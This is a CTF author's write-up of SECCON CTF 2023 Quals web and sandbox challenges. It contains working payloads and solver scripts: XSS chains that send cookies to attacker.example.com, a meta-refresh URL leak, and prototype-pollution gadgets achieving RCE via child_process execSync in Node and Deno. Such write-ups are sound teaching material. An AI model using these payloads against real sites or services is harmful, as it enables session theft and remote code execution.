SECCON CTF 2023 Quals: Author Writeups

Tweet

Thank you for playing SECCON CTF 2023 Quals! I created some challenges for this CTF, just like 2021 and 2022. I hope you had fun and I'm looking forward to reading your writeups.

My challenges:

Challenge Category Intended
Difficulty
Keywords Solved / 653
blink web easy DOM clobbering 14
eeeeejs web medium ejs, XSS puzzle 12
hidden-note web hard XS-Leak, unstable sort 1
crabox sandbox warmup Rust sandbox 53
node-ppjail sandbox medium prototype pollution 5
deno-ppjail sandbox hard prototype pollution 2

I added the source code and author's solvers to my-ctf-challenges repository.

Description:

Popover API is supported from Chrome 114. The awesome API is so useful that you can easily implement <blink>.

  • Challenge: http://blink.seccon.games:3000
  • Admin bot: http://blink.seccon.games:1337

blink.tar.gz

Overview

This website implements the behavior of <blink> using Popover API.

If you submit Hello, blink!,

then the website shows a blinking iframe of the text:

The JavaScript code of the client-side is simple:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
const wrap = (obj) =>
new Proxy(obj, {
get: (target, prop) => {
const res = target[prop];
return typeof res === "function" ? res.bind(target) : res;
},
set: (target, prop, value) => (target[prop] = value),
});

const $ = wrap(document).querySelector;

const sandboxAttribute = [
"allow-downloads",
"allow-forms",
"allow-modals",
"allow-orientation-lock",
"allow-pointer-lock",
"allow-popups",
"allow-popups-to-escape-sandbox",
"allow-presentation",
"allow-same-origin",
// "allow-scripts", // disallow
"allow-top-navigation",
"allow-top-navigation-by-user-activation",
"allow-top-navigation-to-custom-protocols",
].join(" ");

const createBlink = async (html) => {
const sandbox = wrap(
$("#viewer").appendChild(document.createElement("iframe"))
);

// I believe it is impossible to escape this iframe sandbox...
sandbox.sandbox = sandboxAttribute;

sandbox.width = "100%";
sandbox.srcdoc = html;
await new Promise((resolve) => (sandbox.onload = resolve));

const target = wrap(sandbox.contentDocument.body);
target.popover = "manual";
const id = setInterval(target.togglePopover, 400);

return () => {
clearInterval(id);
sandbox.remove();
};
};

$("#render").addEventListener("click", async () => {
const html = $("#html").value;
if (!html) return;
location.hash = html;

const deleteBlink = await createBlink(html);
const button = wrap(
$("#viewer").appendChild(document.createElement("button"))
);
button.textContent = "Delete";
button.addEventListener("click", () => {
deleteBlink();
button.remove();
});
});

const initialHtml = decodeURIComponent(location.hash.slice(1));
if (initialHtml) {
$("#html").value = initialHtml;
$("#render").click();
}

The goal is to gain an XSS to steal an admin bot's cookie.

Solution

By the following sandbox setting, you cannot run any JavaScript in iframe elements:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const sandboxAttribute = [
"allow-downloads",
"allow-forms",
"allow-modals",
"allow-orientation-lock",
"allow-pointer-lock",
"allow-popups",
"allow-popups-to-escape-sandbox",
"allow-presentation",
"allow-same-origin",
// "allow-scripts", // disallow
"allow-top-navigation",
"allow-top-navigation-by-user-activation",
"allow-top-navigation-to-custom-protocols",
].join(" ");

You need to find an XSS sink outside iframe elements.

In conclusion, the sink is:

1
const id = setInterval(target.togglePopover, 400);

setTimeout and setInterval has an interesting behavior:

It means that setInterval can be XSS sinks if target.togglePopover.toString is controllable.

Interestingly, DOM clobbering enables it!

If you render the following HTML:

1
2
3
4
<iframe
name="body"
srcdoc="<a id=togglePopover href=foobar:if(!window.sent)window.sent=navigator.sendBeacon('https://attacker.example.com',document.cookie)></a>"
></iframe>

then, the following JavaScript will be executed in setInterval:

1
foobar:if(!window.sent)window.sent=navigator.sendBeacon('https://attacker.example.com',document.cookie)

Solver

Here is my solver:

Flag

1
SECCON{blink_t4g_is_no_l0nger_supported_but_String_ha5_blink_meth0d_y3t}

BTW, the title bl👁nk in the website is a pun on the words "eye" (/aɪ/) and "i" (/aɪ/). Did anyone notice this?

Background

If you are unfamiliar with DOM clobbering attacks, you might want to refer to HackTricks:

Also, I created another DOM clobbering challenge last year. Check it!

[web] eeeeejs

Description:

Can you bypass all mitigations?

  • Challenge: http://eeeeejs.seccon.games:3000
  • Admin bot: http://eeeeejs.seccon.games:1337

eeeeejs.tar.gz

Overview

In this challenge, a target file path and a query object passed into an EJS rendering engine are controllable:

1
2
3
4
const ejs = require("ejs");

const { filename, ...query } = JSON.parse(process.argv[2].trim());
ejs.renderFile(filename, query).then(console.log);

This is one of the EJS option injection challenges. The following post may be helpful if you are unfamiliar with the attacks:

This challenge implements 4 mitigations for the attacks:

1
2
3
4
5
const { xss } = require("express-xss-sanitizer");
/* snip */

// Mitigation 1:
app.use(xss());
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// Mitigation 2:
app.use((req, res, next) => {
// A protection for RCE
// FYI: https://github.com/mde/ejs/issues/735

const evils = [
"outputFunctionName",
"escapeFunction",
"localsName",
"destructuredLocals",
"escape",
];

const data = JSON.stringify(req.query);
if (evils.find((evil) => data.includes(evil))) {
res.status(400).send("hacker?");
} else {
next();
}
});
1
2
3
4
5
// Mitigation 3:
app.use((req, res, next) => {
res.set("Content-Security-Policy", "default-src 'self'");
next();
});
1
2
3
// Mitigation 4:
"--experimental-permission",
`--allow-fs-read=${__dirname}/src`,

The goal is to bypass the above mitigations and gain an XSS.

Solution

There are various approaches to solving this challenge. My solution is one of them. If you are interested in other solutions, join the CTF Discord and see #web channel.

My solution is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const jsPayload = `location = "https://attacker.example.com?" + document.cookie`;

const srcUrl = `/?${new URLSearchParams({
filename: "render.dist.js",
"settings[view options][openDelimiter]": "__require() {\n",
"settings[view options][closeDelimiter]": "||",
"settings[view options][delimiter][]": "",
mod: jsPayload,
})}`;

const evilUrl = `http://web:3000?${new URLSearchParams({
"filename[href]": "x",
"filename[origin]": "x",
"filename[protocol]": "file:",
"filename[hostname]": "",
"filename[pathname]": "index.ejs",
[`filename[<script src=${srcUrl}></script>]`]: "",
"settings[view options][debug]": "1",
})}`;

For the first URL srcUrl:

  • It abuses the following part of render.dist.js:
    1
    2
    3
    4
    5
    /* snip */
    var __commonJS = (cb, mod) => function __require() {
    return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
    };
    /* snip */
  • By the EJS options, it executes return mod as JavaScript and the value of mod is rendered as a page.
  • Thus, the string jsPayload is rendered.

For the second URL evilUrl:

Solver

Here is my solver:

Flag

1
SECCON{RCE_is_po55ible_if_mitigation_4_does_not_exist}

[web] hidden-note

Description:

Shared pages hide your secret notes.

  • Challenge: http://hidden-note.seccon.games:3000
  • Admin bot: http://hidden-note.seccon.games:1337

hidden-note.tar.gz

Overview

There is a simple note application. You can create and delete notes.

You can also search notes with a query string.

If you share your notes, a static page is created and anyone who knows the URL can access it.

The admin bot's scenario is as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// Create a flag note
const page1 = await context.newPage();
await page1.goto(APP_URL);
await page1.waitForSelector("#content");
await page1.type("#content", FLAG);
await page1.waitForSelector("#create");
await Promise.all([
page1.click("#create"),
page1.waitForNavigation({ timeout: 1000 }),
]);
await page1.close();

// Visit your URL
const page2 = await context.newPage();
await page2.goto(url, { timeout: 3 * 1000 });
await sleep(60 * 1000);
await page2.close();

The goal is to steal the admin's note including a flag.

Solution

Step 1: Understanding the challenge structure

The implementation for sharing pages:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
indexTmpl, _ := template.ParseFiles("views/index.html")
secretPattern := regexp.MustCompile("SECCON{.*}")

router.GET("/share", func(c *gin.Context) {
user := c.MustGet("user").(*User)
notes, err := user.getNotes(user.Query)
if err != nil {
c.String(500, "Failed to read notes")
return
}

// Hide your secret notes 🤫
notes = lo.Filter(notes, func(note Note, _ int) bool {
return !secretPattern.MatchString(note.Content)
})

fileName := getRandomHex(12) + ".html"
file, err := os.OpenFile(fmt.Sprintf("shared/%s", fileName), os.O_CREATE|os.O_WRONLY, 0600)
if err != nil {
c.Status(500)
return
}
if err := indexTmpl.Execute(file, gin.H{
"user": user,
"notes": notes,
"shared": true,
}); err != nil {
c.Status(500)
return
}
c.Redirect(302, fmt.Sprintf("/shared/%s", fileName))
})

router.Static("/shared", "./shared")

Obliviously a HTML injection vulnerability exists because it uses text/tamplate.

1
indexTmpl, _ := template.ParseFiles("views/index.html")

The CSP prevents XSS attacks:

1
<meta http-equiv="Content-Security-Policy" content="script-src 'none'; style-src https://cdn.jsdelivr.net/npm/[email protected]/css/bulma.min.css">

However, you can leak URLs of shared pages using meta tag redirect technique:

1
2
<meta name="referrer" content="unsafe-url">
<meta http-equiv="Refresh" content="0; URL=http://attacker.example.com">

By the technique, you can access shared pages because you can create notes and share them on the admin's session by CSRF.

Is the remaining task to see a flag note in shared pages? The answer is no.
The most impotant point in this challenge is that shared pages do not show a flag note:

1
2
3
4
// Hide your secret notes 🤫
notes = lo.Filter(notes, func(note Note, _ int) bool {
return !secretPattern.MatchString(note.Content)
})

Somehow you have to find a way to steal the content of the hidden note.

Step 2: XS-Leak with an algorithm-based oracle

The goal in this step to construct an oracle for XS-Leak to steal the hidden note.

In conclusion, the key of the oracle is "unstable sort".

The implementation for getting notes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
func (user *User) getNotes(query string) ([]Note, error) {
files, err := os.ReadDir(fmt.Sprintf("notes/%s", user.ID))
if err != nil {
return nil, err
}
notes := make([]Note, 0, len(files))
for _, file := range files {
content, err := os.ReadFile(fmt.Sprintf("notes/%s/%s", user.ID, file.Name()))
if err != nil {
return nil, err
}
notes = append(notes, Note{
ID: file.Name(),
Content: string(content),
})
}
notes = lo.Filter(notes, func(note Note, _ int) bool {
return strings.Contains(note.Content, query)
})
sort.Slice(notes, func(i, j int) bool {
return notes[i].Content < notes[j].Content
})
return notes, nil
}

It uses sort.Slice:

1
2
3
sort.Slice(notes, func(i, j int) bool {
return notes[i].Content < notes[j].Content
})

The document says:

The sort is not guaranteed to be stable: equal elements may be reversed from their original order. For a stable sort, use SliceStable.

The sort algorithm is Pattern-defeating Quicksort (pdqsort)[1]. It is used from Go 1.19:

The implementation is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// From: https://github.com/golang/go/blob/go1.21.0/src/sort/zsortfunc.go#L61-L75
func pdqsort_func(data lessSwap, a, b, limit int) {
const maxInsertion = 12

var (
wasBalanced = true // whether the last partitioning was reasonably balanced
wasPartitioned = true // whether the slice was already partitioned
)

for {
length := b - a

if length <= maxInsertion {
insertionSort_func(data, a, b)
return
}

/* snip */

The shuffle part with xorshift:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// From: https://github.com/golang/go/blob/go1.21.0/src/sort/zsortfunc.go#L240-L254
func breakPatterns_func(data lessSwap, a, b int) {
length := b - a
if length >= 8 {
random := xorshift(length)
modulus := nextPowerOfTwo(length)

for idx := a + (length/4)*2 - 1; idx <= a+(length/4)*2+1; idx++ {
other := int(uint(random.Next()) & (modulus - 1))
if other >= length {
other -= length
}
data.Swap(idx, a+other)
}
}
}

Thus, the sort algorithm has the following properties:

  • Case 1: If the length <= 12, it uses insertion sort (a stable sort).
  • Case 2: Otherwise, the order will be shuffled[2].

Let's confirm the behavior:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package main

import (
"fmt"
"sort"
)

type Note struct {
ID int
Content string
}

func test_sort(length int) {
notes := make([]Note, 0, length)
notes = append(notes, Note{ID: -1, Content: "x"})
for i := 0; i < length-1; i++ {
notes = append(notes, Note{ID: i, Content: "test"})
}
// assert: len(notes) == length

sort.Slice(notes, func(i, j int) bool {
return notes[i].Content < notes[j].Content
})

fmt.Println("length:", length)
fmt.Println(notes)
}

func main() {
// Case 1:
test_sort(11)
test_sort(12)

fmt.Println()

// Case 2:
test_sort(13)
test_sort(14)
}
1
2
3
4
5
6
7
8
9
10
$ go run main.go
length: 11
[{0 test} {1 test} {2 test} {3 test} {4 test} {5 test} {6 test} {7 test} {8 test} {9 test} {-1 x}]
length: 12
[{0 test} {1 test} {2 test} {3 test} {4 test} {5 test} {6 test} {7 test} {8 test} {9 test} {10 test} {-1 x}]

length: 13
[{5 test} {0 test} {1 test} {2 test} {3 test} {4 test} {6 test} {7 test} {8 test} {9 test} {10 test} {11 test} {-1 x}]
length: 14
[{5 test} {7 test} {1 test} {2 test} {3 test} {4 test} {0 test} {12 test} {9 test} {8 test} {6 test} {10 test} {11 test} {-1 x}]

By abusing this behavior, it is possible to construct an oracle. You can leak the length of a sorted array and judge whether the array includes the flag note or not.

See my solver below for details.

Solver

Here is my full exploit:

Flag

1
SECCON{pdq_1e4k}

[sandbox] crabox

Description:

🦀 Compile-Time Sandbox Escape 🦀

1
nc crabox.seccon.games 1337

crabox.tar.gz

Overview

Challenge file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import sys
import re
import os
import subprocess
import tempfile

FLAG = os.environ["FLAG"]
assert re.fullmatch(r"SECCON{[_a-z0-9]+}", FLAG)
os.environ.pop("FLAG")

TEMPLATE = """
fn main() {
{{YOUR_PROGRAM}}

/* Steal me: {{FLAG}} */
}
""".strip()

print("""
🦀 Compile-Time Sandbox Escape 🦀

Input your program (the last line must start with __EOF__):
""".strip(), flush=True)

program = ""
while True:
line = sys.stdin.readline()
if line.startswith("__EOF__"):
break
program += line
if len(program) > 512:
print("Your program is too long. Bye👋".strip())
exit(1)

source = TEMPLATE.replace("{{FLAG}}", FLAG).replace("{{YOUR_PROGRAM}}", program)

with tempfile.NamedTemporaryFile(suffix=".rs") as file:
file.write(source.encode())
file.flush()

try:
proc = subprocess.run(
["rustc", file.name],
cwd="/tmp",
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
timeout=2,
)
print(":)" if proc.returncode == 0 else ":(")
except subprocess.TimeoutExpired:
print("timeout")

You can insert any Rust program, and the goal is to steal a flag in the comment in the inserted source code.

1
print(":)" if proc.returncode == 0 else ":(")

At this line, you can get information about whether the compilation by rustc is successful or not.

Solution

Just like C++ and D, Rust evaluate some expressions at compile-time:

Also, there are useful macros in Rust standard library:

You can evaluate the content of the self-file including a flag at compile-time.

1
let content = include_bytes!(file!());

The remaining task is to construct an oracle that judges whether content contains a given string or not.

An example of implementation:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const fn _contains(query: &[u8]) {
let content = include_bytes!(file!());

let mut i = 350;
while i < content.len() {
let mut j = 0;
while j < query.len() && i + j < content.len() && content[i + j] == query[j] {
j += 1;
}
if j == query.len() {
return; // found!
}
i += 1;
}
assert!(false); // not found
}

Finally, you can get the entire flag string using this function.

As another solution, you can also use /proc/1/environ instead of file!().

Solver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import os
import pwn
import string

pwn.context.log_level = "error"


def communicate(program: str):
assert len(program) <= 512
io = pwn.remote(os.getenv("SECCON_HOST"), os.getenv("SECCON_PORT"))
io.sendlineafter(b"):", program.encode())
io.sendline(b"__EOF__")

res = io.recvall().decode().strip()
io.close()
return res


TEMPLATE = """
}

static _CTFE: () = _contains(b"{{QUERY}}");

const fn _contains(query: &[u8]) {
let content = include_bytes!(file!());

let mut i = 350;
while i < content.len() {
let mut j = 0;
while j < query.len() && i + j < content.len() && content[i + j] == query[j] {
j += 1;
}
if j == query.len() {
return; // found!
}
i += 1;
}
assert!(false); // not found
""".strip().replace(" ", "")


def oracle(query: str) -> bool:
program = TEMPLATE.replace("{{QUERY}}", query)
return ":)" in communicate(program)


CHARS = "}_" + string.ascii_lowercase + string.digits
known = "SECCON{"
while not known.endswith("}"):
for c in CHARS:
if oracle(known + c):
known += c
break
else:
print("Not found")
exit(1)
print(known)
print("Flag: " + known)

Flag

1
SECCON{ctfe_i5_p0w3rful}

CTFE stands for Compile-Time Function Evaluation.

[sandbox] deno-ppjail

Description:

Do you like Deno better than Node?

1
nc deno-ppjail.seccon.games 1337

🦕 deno-ppjail.tar.gz

Overview

Challenge file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
const CUSTOM_KEY = "__custom__";
const CUSTOM_TYPES = [
"Object",
"String",
"Boolean",
"Array",
"Function",
"RegExp",
];

type Dict = Record<string, unknown>;
type Custom = {
[CUSTOM_KEY]: true;
type: string;
args: unknown[];
};

const isDict = (value: unknown): value is Dict => {
return value === Object(value);
};

const isCustom = (value: unknown): value is Custom => {
return isDict(value) && !!value[CUSTOM_KEY];
};

const set = (target: unknown, key: string, value: unknown) => {
if (!isDict(target)) return;
if (key in target) return;
target[key] = value;
};

const merge = (target: unknown, input: Dict) => {
if (!isDict(target)) return;
for (const key of Object.keys(input)) {
const value = input[key];
if (!isDict(value)) {
set(target, key, value);
} else if (Array.isArray(value)) {
set(target, key, []);
merge(target[key], value);
} else if (!isCustom(value)) {
set(target, key, {});
merge(target[key], value);
} else {
const { type, args } = value;
if (CUSTOM_TYPES.includes(type)) {
try {
set(target, key, new globalThis[type](...args));
} catch {}
}
}
}
};

const inputStr = prompt("Input your JSON:") ?? "";

const target: Dict = {
title: "deno-ppjail",
category: "sandbox",
};
merge(target, JSON.parse(inputStr));

The goal is RCE to read a flag file with an unknown name.

Solution

The merge function obviously has a prototype pollution vulnerability.

Interestingly, unlike common prototype pollution, you can also pollute something to an object in CUSTOM_TYPES that includes Function.

However, by if (key in target) return;, you cannot overwrite properties that are already defined (e.g.: toString, valueOf, and constructor):

1
2
3
4
5
const set = (target: unknown, key: string, value: unknown) => {
if (!isDict(target)) return;
if (key in target) return;
target[key] = value;
};

That is, all you have to do is to find gadgets that lead to RCE under those conditions.

My intended solution uses the following gadget:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ deno
...

> ({}).constructor.prototype.return = () => console.log(1337)
[Function (anonymous)]
> for (const x of [1, 2, 3]) {
break;
}
1337
Uncaught TypeError: Iterator result undefined is not an object
at <anonymous>:7:3
> const [x] = [1, 2, 3];
1337
Uncaught TypeError: Iterator result undefined is not an object
at <anonymous>:2:8
>

This behavior is attributed to the specification of IteratorClose defined in ECMAScript:

  1. Let innerResult be Completion(GetMethod(iterator, "return")).
  2. If innerResult.[[Type]] is normal, then
    a. Let return be innerResult.[[Value]].
    b. If return is undefined, return ? completion.
    c. Set innerResult to Completion(Call(return, iterator)).

The part where IteratorClose may be called:

1
for (const key of Object.keys(input)) {

So, a given function is called when the following conditions are satisfied:

  • Object.prototype.return is polluted to a Function object.
  • In the for-loop, the IteratorClose is called.
    • e.g. Uncaught runtime errors

The way to cause an error is simple:

1
2
3
4
5
6
7
$ deno
...

> ({}).toString.caller
Uncaught TypeError: 'caller', 'callee', and 'arguments' properties may not be accessed on strict mode functions or the arguments objects for calls to them
at <anonymous>:2:15
>

Thus, the following JSON causes RCE!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
"constructor": {
"prototype": {
"return": {
"__custom__": true,
"type": "Function",
"args": [
"console.log(1337)"
]
}
}
},
"toString": {
"caller": {}
}
}

Execution result:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ deno
...

> merge({}, {
"constructor": {
"prototype": {
"return": {
"__custom__": true,
"type": "Function",
"args": [
"console.log(1337)"
]
}
}
},
"toString": {
"caller": {}
}
})
1337
1337
Uncaught TypeError: 'caller', 'callee', and 'arguments' properties may not be accessed on strict mode functions or the arguments objects for calls to them
at merge (<anonymous>:33:19)
at merge (<anonymous>:33:7)
at <anonymous>:2:1
>

Solver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import os
import pwn
import json

io = pwn.remote(os.getenv("SECCON_HOST"), os.getenv("SECCON_PORT"))

payload = """
for (const entry of Deno.readDirSync("/")) {
if (entry.name.startsWith("flag-")) {
const flag = new TextDecoder().decode(Deno.readFileSync("/" + entry.name));
console.log(flag);
}
}
""".strip()

input_str = json.dumps({
"constructor": {
"prototype": {
# ref. https://tc39.es/ecma262/2023/multipage/abstract-operations.html#sec-iteratorclose
#
# > 3. Let innerResult be Completion(GetMethod(iterator, "return")).
# > 4. If innerResult.[[Type]] is normal, then
# > a. Let return be innerResult.[[Value]].
# > b. If return is undefined, return ? completion.
# > c. Set innerResult to Completion(Call(return, iterator)).
"return": {
"__custom__": True,
"type": "Function",
"args": [
payload,
],
},
},
},
# Cause an error
"toString": {
"caller": {},
},
})

io.sendlineafter(b"Input your JSON: ", input_str.encode())
print(io.recvall().decode())

Flag

1
SECCON{ECMAScr1pt_has_g4dgets_of_prototype_po11ution!!!}

[sandbox] node-ppjail

Description:

Do you like Node better than Deno?

1
nc node-ppjail.seccon.games 1337

🐢 node-ppjail.tar.gz

Overview

This challenge is almost the same as deno-ppjail.

Challenge file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import * as fs from "node:fs";

const CUSTOM_KEY = "__custom__";
const CUSTOM_TYPES = [
"Object",
"String",
"Boolean",
"Array",
"Function",
"RegExp",
];

type Dict = Record<string, unknown>;
type Custom = {
[CUSTOM_KEY]: true;
type: string;
args: unknown[];
};

const isDict = (value: unknown): value is Dict => {
return value === Object(value);
};

const isCustom = (value: unknown): value is Custom => {
return isDict(value) && !!value[CUSTOM_KEY];
};

const set = (target: unknown, key: string, value: unknown) => {
if (!isDict(target)) return;
if (key in target) return;
target[key] = value;
};

const merge = (target: unknown, input: Dict) => {
if (!isDict(target)) return;
for (const key of Object.keys(input)) {
const value = input[key];
if (!isDict(value)) {
set(target, key, value);
} else if (Array.isArray(value)) {
set(target, key, []);
merge(target[key], value);
} else if (!isCustom(value)) {
set(target, key, {});
merge(target[key], value);
} else {
const { type, args } = value;
if (CUSTOM_TYPES.includes(type)) {
try {
set(target, key, new globalThis[type](...args));
} catch {}
}
}
}
};

process.stdout.write("Input your JSON: ");
const inputStr = (() => {
const buf = new Uint8Array(1024);
const n = fs.readSync(fs.openSync("/dev/stdin", "r"), buf);
return new TextDecoder().decode(buf.slice(0, n));
})();

const target: Dict = {
title: "node-ppjail",
category: "sandbox",
};
merge(target, JSON.parse(inputStr));

package.json:

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"name": "node-ppjail",
"version": "1.0.0",
"main": "index.js",
"private": true,
"scripts": {
"build": "tsc index.ts"
},
"devDependencies": {
"@types/node": "^20.6.0",
"typescript": "^5.2.2"
}
}

The goal is also to gain RCE to read a flag file with an unknown name.

The difference from deno-ppjail is that the source code is transpiled into JavaScript and executed by node command.

Solution

The transpiled JavaScript is as follows:

1
2
3
4
5
6
7
8
9
/* snip */
var merge = function (target, input) {
var _a;
if (!isDict(target))
return;
for (var _i = 0, _b = Object.keys(input); _i < _b.length; _i++) {
var key = _b[_i];
var value = input[key];
/* snip */

The for-loop does not use Iterator[3], so it is impossible to call IteratorClose and you cannot use the gadget used in deno-ppjail.

It means that you need to find a gadget other than IteratorClose. But not to worry, Node.js has some gadgets. In fact, I found three gadgets in the internals of Node.js.

For example:

1
({}).__proto__[1] = { callback: () => console.log(1337) }

The callback will be called in the process for task queues.

See my solver below for details.

Solver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import os
import pwn
import json

io = pwn.remote(os.getenv("SECCON_HOST"), os.getenv("SECCON_PORT"))

command = "cat /flag-*.txt"


def solve1() -> str:
# Solution 1:
return json.dumps({
"__proto__": {
# ref. https://github.com/nodejs/node/blob/v20.6.0/lib/internal/fixed_queue.js#L81
# ref. https://github.com/nodejs/node/blob/v20.6.0/lib/internal/process/task_queues.js#L77
"1": {
"callback": {
"__custom__": True,
"type": "Function",
"args": [
f"console.log(global.process.mainModule.require('child_process').execSync('{command}').toString())"
],
},
},
},
})


def solve2() -> str:
# Solution 2:
return json.dumps({
"__proto__": {
# ref. https://github.com/nodejs/node/blob/v20.6.0/lib/internal/util/inspect.js#L1064
"circular": {
"get": {
"__custom__": True,
"type": "Function",
"args": [
f"console.log(global.process.mainModule.require('child_process').execSync('{command}').toString())"
],
},
},
# ref. https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error/cause
"cause": 1,
},
# Cause an error
"toString": {
"caller": {},
},
})


def solve3() -> str:
# Solution 3:
return json.dumps({
"__proto__": {
# ref. https://github.com/nodejs/node/blob/v20.6.0/lib/internal/errors.js#L140
"prepareStackTrace": {
"__custom__": True,
"type": "Function",
"args": [
f"console.log(global.process.mainModule.require('child_process').execSync('{command}').toString())"
],

},
},
# Cause an error
"toString": {
"caller": {},
},
})


input_str = solve1()
# input_str = solve2()
# input_str = solve3()

io.sendlineafter(b"Input your JSON: ", input_str.encode())
print(io.recvall().decode())

Flag

1
SECCON{Deno_i5_an_anagr4m_0f_Node}

JavaScript is an insane and interesting language!


  1. https://arxiv.org/pdf/2106.05123.pdf ↩︎

  2. Strictly speaking, there are more conditions for the shuffle. ↩︎

  3. That's because the default value for target option of tsc is ES3. ES3 is a very old ECMAScript version.
    ref. https://www.typescriptlang.org/tsconfig/#target ↩︎